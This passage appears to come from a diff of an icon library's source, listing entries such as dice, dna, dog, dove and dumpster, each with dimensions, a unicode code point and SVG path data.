16.2-9.6 56.2-31.7 105.3-48.6V416h224v-90.7c49.1 16.8 89.1 39 105.3 48.6 13.6 8 32.7 5.3 42.9-9.8l17.8-26.7c8.8-13.2 7.6-34.6-10-45.1-11.9-7.1-29.7-17-51.1-27.4-28.1 46.1-99.4 17.8-87.7-35.1C409.3 217.2 365.1 208 320 208c-57 0-112.9 14.5-160 32.2-.2 40.2-47.6 63.3-79.2 36-11.2 6-21.3 11.6-28.7 16-17.6 10.5-18.8 31.8-10 45.1L59.8 364zM368 344c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-96-96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-160 8c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm512 192H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z" ], + dice: [ 640, 512, [], "f522", "M592 192H473.26c12.69 29.59 7.12 65.2-17 89.32L320 417.58V464c0 26.51 21.49 48 48 48h224c26.51 0 48-21.49 48-48V240c0-26.51-21.49-48-48-48zM480 376c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm-46.37-186.7L258.7 14.37c-19.16-19.16-50.23-19.16-69.39 0L14.37 189.3c-19.16 19.16-19.16 50.23 0 69.39L189.3 433.63c19.16 19.16 50.23 19.16 69.39 0L433.63 258.7c19.16-19.17 19.16-50.24 0-69.4zM96 248c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm128 128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm0-128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm0-128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm128 128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z" ], + "dice-d20": [ 480, 512, [], "f6cf", "M106.75 215.06L1.2 370.95c-3.08 5 .1 11.5 5.93 12.14l208.26 22.07-108.64-190.1zM7.41 315.43L82.7 193.08 6.06 147.1c-2.67-1.6-6.06.32-6.06 3.43v162.81c0 4.03 5.29 5.53 7.41 2.09zM18.25 423.6l194.4 87.66c5.3 2.45 11.35-1.43 11.35-7.26v-65.67l-203.55-22.3c-4.45-.5-6.23 5.59-2.2 7.57zm81.22-257.78L179.4 22.88c4.34-7.06-3.59-15.25-10.78-11.14L17.81 110.35c-2.47 1.62-2.39 5.26.13 6.78l81.53 48.69zM240 176h109.21L253.63 7.62C250.5 2.54 245.25 0 240 0s-10.5 2.54-13.63 7.62L130.79 176H240zm233.94-28.9l-76.64 45.99 75.29 122.35c2.11 3.44 7.41 1.94 7.41-2.1V150.53c0-3.11-3.39-5.03-6.06-3.43zm-93.41 18.72l81.53-48.7c2.53-1.52 2.6-5.16.13-6.78l-150.81-98.6c-7.19-4.11-15.12 4.08-10.78 11.14l79.93 142.94zm79.02 250.21L256 438.32v65.67c0 5.84 6.05 9.71 11.35 7.26l194.4-87.66c4.03-1.97 2.25-8.06-2.2-7.56zm-86.3-200.97l-108.63 190.1 208.26-22.07c5.83-.65 9.01-7.14 5.93-12.14L373.25 215.06zM240 208H139.57L240 383.75 340.43 208H240z" ], + "dice-d6": [ 448, 512, [], "f6d1", "M422.19 109.95L256.21 9.07c-19.91-12.1-44.52-12.1-64.43 0L25.81 109.95c-5.32 3.23-5.29 11.27.06 14.46L224 242.55l198.14-118.14c5.35-3.19 5.38-11.22.05-14.46zm13.84 44.63L240 271.46v223.82c0 12.88 13.39 20.91 24.05 14.43l152.16-92.48c19.68-11.96 31.79-33.94 31.79-57.7v-197.7c0-6.41-6.64-10.43-11.97-7.25zM0 161.83v197.7c0 23.77 12.11 45.74 31.79 57.7l152.16 92.47c10.67 6.48 24.05-1.54 24.05-14.43V271.46L11.97 154.58C6.64 151.4 0 155.42 0 161.83z" ], + "dice-five": [ 448, 512, [], "f523", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + "dice-four": [ 448, 512, [], "f524", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + "dice-one": [ 448, 512, [], "f525", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM224 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + "dice-six": [ 448, 512, [], "f526", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + "dice-three": [ 448, 512, [], "f527", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + "dice-two": [ 448, 512, [], "f528", "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + "digital-tachograph": [ 640, 512, [], "f566", "M608 96H32c-17.67 0-32 14.33-32 32v256c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V128c0-17.67-14.33-32-32-32zM304 352c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-8c0-4.42 3.58-8 8-8h224c4.42 0 8 3.58 8 8v8zM72 288v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H80c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm64 0v-16c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8zm40-64c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-48c0-8.84 7.16-16 16-16h208c8.84 0 16 7.16 16 16v48zm272 128c0 4.42-3.58 8-8 8H344c-4.42 0-8-3.58-8-8v-8c0-4.42 3.58-8 8-8h224c4.42 0 8 3.58 8 8v8z" ], + directions: [ 512, 512, [], "f5eb", "M502.61 233.32L278.68 9.39c-12.52-12.52-32.83-12.52-45.36 0L9.39 233.32c-12.52 12.53-12.52 32.83 0 45.36l223.93 223.93c12.52 12.53 32.83 12.53 45.36 0l223.93-223.93c12.52-12.53 12.52-32.83 0-45.36zm-100.98 12.56l-84.21 77.73c-5.12 4.73-13.43 1.1-13.43-5.88V264h-96v64c0 4.42-3.58 8-8 8h-32c-4.42 0-8-3.58-8-8v-80c0-17.67 14.33-32 32-32h112v-53.73c0-6.97 8.3-10.61 13.43-5.88l84.21 77.73c3.43 3.17 3.43 8.59 0 11.76z" ], + disease: [ 512, 512, [], "f7fa", "M472.29 195.9l-67.06-23c-19.28-6.6-33.54-20.92-38.14-38.31l-16-60.45c-11.58-43.77-76.57-57.13-110-22.62L195 99.24c-13.26 13.71-33.54 20.93-54.2 19.31l-71.9-5.62c-52-4.07-86.93 44.89-59 82.84l38.54 52.42c11.08 15.07 12.82 33.86 4.64 50.24l-28.43 57C4 396.67 47.46 440.29 98.11 429.23l70-15.28c20.11-4.39 41.45 0 57.07 11.73l54.32 40.83c39.32 29.56 101 7.57 104.45-37.22l4.7-61.86c1.35-17.8 12.8-33.87 30.63-43l62-31.74c44.84-22.96 39.55-80.17-8.99-96.79zM160 256a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm128 96a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm16-128a16 16 0 1 1 16-16 16 16 0 0 1-16 16z" ], + divide: [ 448, 512, [], "f529", "M224 352c-35.35 0-64 28.65-64 64s28.65 64 64 64 64-28.65 64-64-28.65-64-64-64zm0-192c35.35 0 64-28.65 64-64s-28.65-64-64-64-64 28.65-64 64 28.65 64 64 64zm192 48H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z" ], + dizzy: [ 496, 512, [], "f567", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-96 206.6l-28.7 28.7c-14.8 14.8-37.8-7.5-22.6-22.6l28.7-28.7-28.7-28.7c-15-15 7.7-37.6 22.6-22.6l28.7 28.7 28.7-28.7c15-15 37.6 7.7 22.6 22.6L174.6 192l28.7 28.7c15.2 15.2-7.9 37.4-22.6 22.6L152 214.6zM248 416c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm147.3-195.3c15.2 15.2-7.9 37.4-22.6 22.6L344 214.6l-28.7 28.7c-14.8 14.8-37.8-7.5-22.6-22.6l28.7-28.7-28.7-28.7c-15-15 7.7-37.6 22.6-22.6l28.7 28.7 28.7-28.7c15-15 37.6 7.7 22.6 22.6L366.6 192l28.7 28.7z" ], + dna: [ 448, 512, [], "f471", "M.1 494.1c-1.1 9.5 6.3 17.8 15.9 17.8l32.3.1c8.1 0 14.9-5.9 16-13.9.7-4.9 1.8-11.1 3.4-18.1H380c1.6 6.9 2.9 13.2 3.5 18.1 1.1 8 7.9 14 16 13.9l32.3-.1c9.6 0 17.1-8.3 15.9-17.8-4.6-37.9-25.6-129-118.9-207.7-17.6 12.4-37.1 24.2-58.5 35.4 6.2 4.6 11.4 9.4 17 14.2H159.7c21.3-18.1 47-35.6 78.7-51.4C410.5 199.1 442.1 65.8 447.9 17.9 449 8.4 441.6.1 432 .1L399.6 0c-8.1 0-14.9 5.9-16 13.9-.7 4.9-1.8 11.1-3.4 18.1H67.8c-1.6-7-2.7-13.1-3.4-18.1-1.1-8-7.9-14-16-13.9L16.1.1C6.5.1-1 8.4.1 17.9 5.3 60.8 31.4 171.8 160 256 31.5 340.2 5.3 451.2.1 494.1zM224 219.6c-25.1-13.7-46.4-28.4-64.3-43.6h128.5c-17.8 15.2-39.1 30-64.2 43.6zM355.1 96c-5.8 10.4-12.8 21.1-21 32H114c-8.3-10.9-15.3-21.6-21-32h262.1zM92.9 416c5.8-10.4 12.8-21.1 21-32h219.4c8.3 10.9 15.4 21.6 21.2 32H92.9z" ], + dog: [ 576, 512, [], "f6d3", "M298.06,224,448,277.55V496a16,16,0,0,1-16,16H368a16,16,0,0,1-16-16V384H192V496a16,16,0,0,1-16,16H112a16,16,0,0,1-16-16V282.09C58.84,268.84,32,233.66,32,192a32,32,0,0,1,64,0,32.06,32.06,0,0,0,32,32ZM544,112v32a64,64,0,0,1-64,64H448v35.58L320,197.87V48c0-14.25,17.22-21.39,27.31-11.31L374.59,64h53.63c10.91,0,23.75,7.92,28.62,17.69L464,96h64A16,16,0,0,1,544,112Zm-112,0a16,16,0,1,0-16,16A16,16,0,0,0,432,112Z" ], + "dollar-sign": [ 288, 512, [], "f155", "M209.2 233.4l-108-31.6C88.7 198.2 80 186.5 80 173.5c0-16.3 13.2-29.5 29.5-29.5h66.3c12.2 0 24.2 3.7 34.2 10.5 6.1 4.1 14.3 3.1 19.5-2l34.8-34c7.1-6.9 6.1-18.4-1.8-24.5C238 74.8 207.4 64.1 176 64V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48h-2.5C45.8 64-5.4 118.7.5 183.6c4.2 46.1 39.4 83.6 83.8 96.6l102.5 30c12.5 3.7 21.2 15.3 21.2 28.3 0 16.3-13.2 29.5-29.5 29.5h-66.3C100 368 88 364.3 78 357.5c-6.1-4.1-14.3-3.1-19.5 2l-34.8 34c-7.1 6.9-6.1 18.4 1.8 24.5 24.5 19.2 55.1 29.9 86.5 30v48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-48.2c46.6-.9 90.3-28.6 105.7-72.7 21.5-61.6-14.6-124.8-72.5-141.7z" ], + dolly: [ 576, 512, [], "f472", "M294.2 277.7c18 5 34.7 13.4 49.5 24.7l161.5-53.8c8.4-2.8 12.9-11.9 10.1-20.2L454.9 47.2c-2.8-8.4-11.9-12.9-20.2-10.1l-61.1 20.4 33.1 99.4L346 177l-33.1-99.4-61.6 20.5c-8.4 2.8-12.9 11.9-10.1 20.2l53 159.4zm281 48.7L565 296c-2.8-8.4-11.9-12.9-20.2-10.1l-213.5 71.2c-17.2-22-43.6-36.4-73.5-37L158.4 21.9C154 8.8 141.8 0 128 0H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h88.9l92.2 276.7c-26.1 20.4-41.7 53.6-36 90.5 6.1 39.4 37.9 72.3 77.3 79.2 60.2 10.7 112.3-34.8 113.4-92.6l213.3-71.2c8.3-2.8 12.9-11.8 10.1-20.2zM256 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z" ], + "dolly-flatbed": [ 640, 512, [], "f474", "M208 320h384c8.8 0 16-7.2 16-16V48c0-8.8-7.2-16-16-16H448v128l-48-32-48 32V32H208c-8.8 0-16 7.2-16 16v256c0 8.8 7.2 16 16 16zm416 64H128V16c0-8.8-7.2-16-16-16H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h48v368c0 8.8 7.2 16 16 16h82.9c-1.8 5-2.9 10.4-2.9 16 0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1.2-11-2.9-16H451c-1.8 5-2.9 10.4-2.9 16 0 26.5 21.5 48 48 48s48-21.5 48-48c0-5.6-1.2-11-2.9-16H624c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z" ], + donate: [ 512, 512, [], "f4b9", "M256 416c114.9 0 208-93.1 208-208S370.9 0 256 0 48 93.1 48 208s93.1 208 208 208zM233.8 97.4V80.6c0-9.2 7.4-16.6 16.6-16.6h11.1c9.2 0 16.6 7.4 16.6 16.6v17c15.5.8 30.5 6.1 43 15.4 5.6 4.1 6.2 12.3 1.2 17.1L306 145.6c-3.8 3.7-9.5 3.8-14 1-5.4-3.4-11.4-5.1-17.8-5.1h-38.9c-9 0-16.3 8.2-16.3 18.3 0 8.2 5 15.5 12.1 17.6l62.3 18.7c25.7 7.7 43.7 32.4 43.7 60.1 0 34-26.4 61.5-59.1 62.4v16.8c0 9.2-7.4 16.6-16.6 16.6h-11.1c-9.2 0-16.6-7.4-16.6-16.6v-17c-15.5-.8-30.5-6.1-43-15.4-5.6-4.1-6.2-12.3-1.2-17.1l16.3-15.5c3.8-3.7 9.5-3.8 14-1 5.4 3.4 11.4 5.1 17.8 5.1h38.9c9 0 16.3-8.2 16.3-18.3 0-8.2-5-15.5-12.1-17.6l-62.3-18.7c-25.7-7.7-43.7-32.4-43.7-60.1.1-34 26.4-61.5 59.1-62.4zM480 352h-32.5c-19.6 26-44.6 47.7-73 64h63.8c5.3 0 9.6 3.6 9.6 8v16c0 4.4-4.3 8-9.6 8H73.6c-5.3 0-9.6-3.6-9.6-8v-16c0-4.4 4.3-8 9.6-8h63.8c-28.4-16.3-53.3-38-73-64H32c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32v-96c0-17.7-14.3-32-32-32z" ], + "door-closed": [ 640, 512, [], "f52a", "M624 448H512V50.8C512 22.78 490.47 0 464 0H175.99c-26.47 0-48 22.78-48 50.8V448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM415.99 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32c.01 17.67-14.32 32-32 32z" ], + "door-open": [ 640, 512, [], "f52b", "M624 448h-80V113.45C544 86.19 522.47 64 496 64H384v64h96v384h144c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM312.24 1.01l-192 49.74C105.99 54.44 96 67.7 96 82.92V448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h336V33.18c0-21.58-19.56-37.41-39.76-32.17zM264 288c-13.25 0-24-14.33-24-32s10.75-32 24-32 24 14.33 24 32-10.75 32-24 32z" ], + "dot-circle": [ 512, 512, [], "f192", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm80 248c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80z" ], + dove: [ 512, 512, [], "f4ba", "M288 167.2v-28.1c-28.2-36.3-47.1-79.3-54.1-125.2-2.1-13.5-19-18.8-27.8-8.3-21.1 24.9-37.7 54.1-48.9 86.5 34.2 38.3 80 64.6 130.8 75.1zM400 64c-44.2 0-80 35.9-80 80.1v59.4C215.6 197.3 127 133 87 41.8c-5.5-12.5-23.2-13.2-29-.9C41.4 76 32 115.2 32 156.6c0 70.8 34.1 136.9 85.1 185.9 13.2 12.7 26.1 23.2 38.9 32.8l-143.9 36C1.4 414-3.4 426.4 2.6 435.7 20 462.6 63 508.2 155.8 512c8 .3 16-2.6 22.1-7.9l65.2-56.1H320c88.4 0 160-71.5 160-159.9V128l32-64H400zm0 96.1c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z" ], + download: [ 512, 512, [], "f019", "M216 0h80c13.3 0 24 10.7 24 24v168h87.7c17.8 0 26.7 21.5 14.1 34.1L269.7 378.3c-7.5 7.5-19.8 7.5-27.3 0L90.1 226.1c-12.6-12.6-3.7-34.1 14.1-34.1H192V24c0-13.3 10.7-24 24-24zm296 376v112c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V376c0-13.3 10.7-24 24-24h146.7l49 49c20.1 20.1 52.5 20.1 72.6 0l49-49H488c13.3 0 24 10.7 24 24zm-124 88c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20zm64 0c0-11-9-20-20-20s-20 9-20 20 9 20 20 20 20-9 20-20z" ], + "drafting-compass": [ 512, 512, [], "f568", "M457.01 344.42c-25.05 20.33-52.63 37.18-82.54 49.05l54.38 94.19 53.95 23.04c9.81 4.19 20.89-2.21 22.17-12.8l7.02-58.25-54.98-95.23zm42.49-94.56c4.86-7.67 1.89-17.99-6.05-22.39l-28.07-15.57c-7.48-4.15-16.61-1.46-21.26 5.72C403.01 281.15 332.25 320 256 320c-23.93 0-47.23-4.25-69.41-11.53l67.36-116.68c.7.02 1.34.21 2.04.21s1.35-.19 2.04-.21l51.09 88.5c31.23-8.96 59.56-25.75 82.61-48.92l-51.79-89.71C347.39 128.03 352 112.63 352 96c0-53.02-42.98-96-96-96s-96 42.98-96 96c0 16.63 4.61 32.03 12.05 45.66l-68.3 118.31c-12.55-11.61-23.96-24.59-33.68-39-4.79-7.1-13.97-9.62-21.38-5.33l-27.75 16.07c-7.85 4.54-10.63 14.9-5.64 22.47 15.57 23.64 34.69 44.21 55.98 62.02L0 439.66l7.02 58.25c1.28 10.59 12.36 16.99 22.17 12.8l53.95-23.04 70.8-122.63C186.13 377.28 220.62 384 256 384c99.05 0 190.88-51.01 243.5-134.14zM256 64c17.67 0 32 14.33 32 32s-14.33 32-32 32-32-14.33-32-32 14.33-32 32-32z" ], + dragon: [ 640, 512, [], "f6d5", "M18.32 255.78L192 223.96l-91.28 68.69c-10.08 10.08-2.94 27.31 11.31 27.31h222.7c-9.44-26.4-14.73-54.47-14.73-83.38v-42.27l-119.73-87.6c-23.82-15.88-55.29-14.01-77.06 4.59L5.81 227.64c-12.38 10.33-3.45 30.42 12.51 28.14zm556.87 34.1l-100.66-50.31A47.992 47.992 0 0 1 448 196.65v-36.69h64l28.09 22.63c6 6 14.14 9.37 22.63 9.37h30.97a32 32 0 0 0 28.62-17.69l14.31-28.62a32.005 32.005 0 0 0-3.02-33.51l-74.53-99.38C553.02 4.7 543.54 0 533.47 0H296.02c-7.13 0-10.7 8.57-5.66 13.61L352 63.96 292.42 88.8c-5.9 2.95-5.9 11.36 0 14.31L352 127.96v108.62c0 72.08 36.03 139.39 96 179.38-195.59 6.81-344.56 41.01-434.1 60.91C5.78 478.67 0 485.88 0 494.2 0 504 7.95 512 17.76 512h499.08c63.29.01 119.61-47.56 122.99-110.76 2.52-47.28-22.73-90.4-64.64-111.36zM489.18 66.25l45.65 11.41c-2.75 10.91-12.47 18.89-24.13 18.26-12.96-.71-25.85-12.53-21.52-29.67z" ], + "draw-polygon": [ 448, 512, [], "f5ee", "M384 352c-.35 0-.67.1-1.02.1l-39.2-65.32c5.07-9.17 8.22-19.56 8.22-30.78s-3.14-21.61-8.22-30.78l39.2-65.32c.35.01.67.1 1.02.1 35.35 0 64-28.65 64-64s-28.65-64-64-64c-23.63 0-44.04 12.95-55.12 32H119.12C108.04 44.95 87.63 32 64 32 28.65 32 0 60.65 0 96c0 23.63 12.95 44.04 32 55.12v209.75C12.95 371.96 0 392.37 0 416c0 35.35 28.65 64 64 64 23.63 0 44.04-12.95 55.12-32h209.75c11.09 19.05 31.49 32 55.12 32 35.35 0 64-28.65 64-64 .01-35.35-28.64-64-63.99-64zm-288 8.88V151.12A63.825 63.825 0 0 0 119.12 128h208.36l-38.46 64.1c-.35-.01-.67-.1-1.02-.1-35.35 0-64 28.65-64 64s28.65 64 64 64c.35 0 .67-.1 1.02-.1l38.46 64.1H119.12A63.748 63.748 0 0 0 96 360.88zM272 256c0-8.82 7.18-16 16-16s16 7.18 16 16-7.18 16-16 16-16-7.18-16-16zM400 96c0 8.82-7.18 16-16 16s-16-7.18-16-16 7.18-16 16-16 16 7.18 16 16zM64 80c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16zM48 416c0-8.82 7.18-16 16-16s16 7.18 16 16-7.18 16-16 16-16-7.18-16-16zm336 16c-8.82 0-16-7.18-16-16s7.18-16 16-16 16 7.18 16 16-7.18 16-16 16z" ], + drum: [ 512, 512, [], "f569", "M431.34 122.05l73.53-47.42a16 16 0 0 0 4.44-22.19l-8.87-13.31a16 16 0 0 0-22.19-4.44l-110.06 71C318.43 96.91 271.22 96 256 96 219.55 96 0 100.55 0 208.15v160.23c0 30.27 27.5 57.68 72 77.86v-101.9a24 24 0 1 1 48 0v118.93c33.05 9.11 71.07 15.06 112 16.73V376.39a24 24 0 1 1 48 0V480c40.93-1.67 78.95-7.62 112-16.73V344.34a24 24 0 1 1 48 0v101.9c44.5-20.18 72-47.59 72-77.86V208.15c0-43.32-35.76-69.76-80.66-86.1zM256 272.24c-114.88 0-208-28.69-208-64.09s93.12-64.08 208-64.08c17.15 0 33.73.71 49.68 1.91l-72.81 47a16 16 0 0 0-4.43 22.19l8.87 13.31a16 16 0 0 0 22.19 4.44l118.64-76.52C430.09 168 464 186.84 464 208.15c0 35.4-93.13 64.09-208 64.09z" ], + "drum-steelpan": [ 576, 512, [], "f56a", "M288 32C128.94 32 0 89.31 0 160v192c0 70.69 128.94 128 288 128s288-57.31 288-128V160c0-70.69-128.94-128-288-128zm-82.99 158.36c-4.45 16.61-14.54 30.57-28.31 40.48C100.23 217.46 48 190.78 48 160c0-30.16 50.11-56.39 124.04-70.03l25.6 44.34c9.86 17.09 12.48 36.99 7.37 56.05zM288 240c-21.08 0-41.41-1-60.89-2.7 8.06-26.13 32.15-45.3 60.89-45.3s52.83 19.17 60.89 45.3C329.41 239 309.08 240 288 240zm64-144c0 35.29-28.71 64-64 64s-64-28.71-64-64V82.96c20.4-1.88 41.8-2.96 64-2.96s43.6 1.08 64 2.96V96zm46.93 134.9c-13.81-9.91-23.94-23.9-28.4-40.54-5.11-19.06-2.49-38.96 7.38-56.04l25.65-44.42C477.72 103.5 528 129.79 528 160c0 30.83-52.4 57.54-129.07 70.9z" ], + "drumstick-bite": [ 512, 512, [], "f6d7", "M462.8 49.57a169.44 169.44 0 0 0-239.5 0C187.82 85 160.13 128 160.13 192v85.83l-40.62 40.59c-9.7 9.69-24 11.07-36.78 6a60.33 60.33 0 0 0-65 98.72C33 438.39 54.24 442.7 73.85 438.21c-4.5 19.6-.18 40.83 15.1 56.1a60.35 60.35 0 0 0 98.8-65c-5.09-12.73-3.72-27 6-36.75L234.36 352h85.89a187.87 187.87 0 0 0 61.89-10c-39.64-43.89-39.83-110.23 1.05-151.07 34.38-34.36 86.76-39.46 128.74-16.8 1.3-44.96-14.81-90.28-49.13-124.56z" ], + dumbbell: [ 640, 512, [], "f44b", "M104 96H56c-13.3 0-24 10.7-24 24v104H8c-4.4 0-8 3.6-8 8v48c0 4.4 3.6 8 8 8h24v104c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24zm528 128h-24V120c0-13.3-10.7-24-24-24h-48c-13.3 0-24 10.7-24 24v272c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V288h24c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zM456 32h-48c-13.3 0-24 10.7-24 24v168H256V56c0-13.3-10.7-24-24-24h-48c-13.3 0-24 10.7-24 24v400c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V288h128v168c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V56c0-13.3-10.7-24-24-24z" ], + dumpster: [ 576, 512, [], "f793", "M560 160c10.4 0 18-9.8 15.5-19.9l-24-96C549.7 37 543.3 32 536 32h-98.9l25.6 128H560zM272 32H171.5l-25.6 128H272V32zm132.5 0H304v128h126.1L404.5 32zM16 160h97.3l25.6-128H40c-7.3 0-13.7 5-15.5 12.1l-24 96C-2 150.2 5.6 160 16 160zm544 64h-20l4-32H32l4 32H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h28l20 160v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h320v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16l20-160h28c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z" ], + "dumpster-fire": [ 640, 512, [], "f794", "M418.7 104.1l.2-.2-14.4-72H304v128h60.8c16.2-19.3 34.2-38.2 53.9-55.8zM272 32H171.5l-25.6 128H272V32zm189.3 72.1c18.2 16.3 35.5 33.7 51.1 51.5 5.7-5.6 11.4-11.1 17.3-16.3l21.3-19 21.3 19c1.1.9 2.1 2.1 3.1 3.1-.1-.8.2-1.5 0-2.3l-24-96C549.7 37 543.3 32 536 32h-98.9l12.3 61.5 11.9 10.6zM16 160h97.3l25.6-128H40c-7.3 0-13.7 5-15.5 12.1l-24 96C-2 150.2 5.6 160 16 160zm324.6 32H32l4 32H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h28l20 160v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h208.8c-30.2-33.7-48.8-77.9-48.8-126.4 0-35.9 19.9-82.9 52.6-129.6zm210.5-28.8c-14.9 13.3-28.3 27.2-40.2 41.2-19.5-25.8-43.6-52-71-76.4-70.2 62.7-120 144.3-120 193.6 0 87.5 71.6 158.4 160 158.4s160-70.9 160-158.4c.1-36.6-37-112.2-88.8-158.4zm-18.6 229.4c-14.7 